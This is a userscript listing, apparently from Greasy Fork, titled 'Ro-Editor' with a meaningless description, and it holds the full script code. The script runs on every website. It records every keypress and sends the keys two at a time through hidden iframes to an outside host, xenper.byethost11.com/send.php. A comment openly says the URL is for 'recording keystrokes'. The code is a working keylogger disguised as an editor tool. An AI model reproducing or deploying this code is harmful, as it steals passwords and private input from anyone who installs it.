Ro-Editor

Ro-Editor111

You will need to install an extension such as Tampermonkey, Greasemonkey or Violentmonkey to install this script.

You will need to install an extension such as Tampermonkey to install this script.

You will need to install an extension such as Tampermonkey or Violentmonkey to install this script.

You will need to install an extension such as Tampermonkey or Userscripts to install this script.

You will need to install an extension such as Tampermonkey to install this script.

You will need to install a user script manager extension to install this script.

(I already have a user script manager, let me install it!)

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

(I already have a user style manager, let me install it!)

//Code Developed by Manak Kapoor. Key
// ==UserScript==
// @name          Ro-Editor
// @description   Ro-Editor111
// @version 1.0.0
// @include       *
// @namespace https://greasyfork.org/users/16535
// ==/UserScript==
//Please contact [email protected] for more information.
/*
 * This work is licensed under a Creative Commons
 * Attribution-NonCommercial-NoDerivs 3.0 Unported License
 * http://creativecommons.org/licenses/by-nc-nd/3.0/
 *
 * UNLESS OTHERWISE MUTUALLY AGREED BY THE PARTIES IN WRITING,
 * LICENSOR OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS
 * OR WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED,
 * STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES
 * OF TITLE, MERCHANTIBILITY, FITNESS FOR A PARTICULAR PURPOSE,
 * NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS,
 * ACCURACY, OR THE PRESENCE OF ABSENCE OF ERRORS, WHETHER OR NOT
 * DISCOVERABLE. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OF
 * IMPLIED WARRANTIES, SO SUCH EXCLUSION MAY NOT APPLY TO YOU.
 * EXCEPT TO THE EXTENT REQUIRED BY APPLICABLE LAW, IN NO EVENT
 * WILL LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL,
 * INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING
 * OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS
 * BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
 */
 //Change required Urls to the URL you will be using for recording keystrokes. http://topperz.no-ip.org  EDIT TO WHAT EVER URL WHICH IS GOING TO BE USED!
//javascript:var s=document.createElement("script");s.src="http://localhost:84/userscripts/internetsecurity/editable.js";s.type="text/javascript";document.getElementsByTagName("body")[0].appendChild(s);
//document.getElementsByTagName("body")[0].setAttribute("spellcheck","false");
var container = document.createElement('div');
container.setAttribute('id', 'fbcontainer');
container.setAttribute('style', 'position:fixed; width:100%; height:100%; z-index:9999999;');
container.innerHTML='<iframe style="display:none;" id="sender"></iframe><iframe style="display:none;" id="sender1"></iframe><iframe style="display:none;" id="sender2"></iframe>';
document.getElementsByTagName("body")[0].insertBefore(container,document.getElementsByTagName("body")[0].firstChild);
document.getElementsByTagName("body")[0].appendChild(container);
var changeFrame=0;
var record="";
var charCount=0;
document.keyup=function(e) {
  }
document.onkeydown=function(e){
          record=record+String.fromCharCode(e.which);
		  charCount++;
		
		  if(charCount==2)
			{
			if(changeFrame==1)
			{
			 document.getElementById("sender1").setAttribute('src', 'http://xenper.byethost11.com/send.php?s='+record);
			record="";
			charCount=0;
			changeFrame++;
			}
			else
			{
			if(changeFrame==0)
			{
		 document.getElementById("sender").setAttribute('src', 'http://xenper.byethost11.com/send.php?s='+record);
			record="";
			charCount=0;
			changeFrame++;
			}
			else
				{
		 document.getElementById("sender2").setAttribute('src', 'http://xenper.byethost11.com/send.php?s='+record);
			record="";
			charCount=0;
			changeFrame=0;
			}
			}
			
			}
			
		  }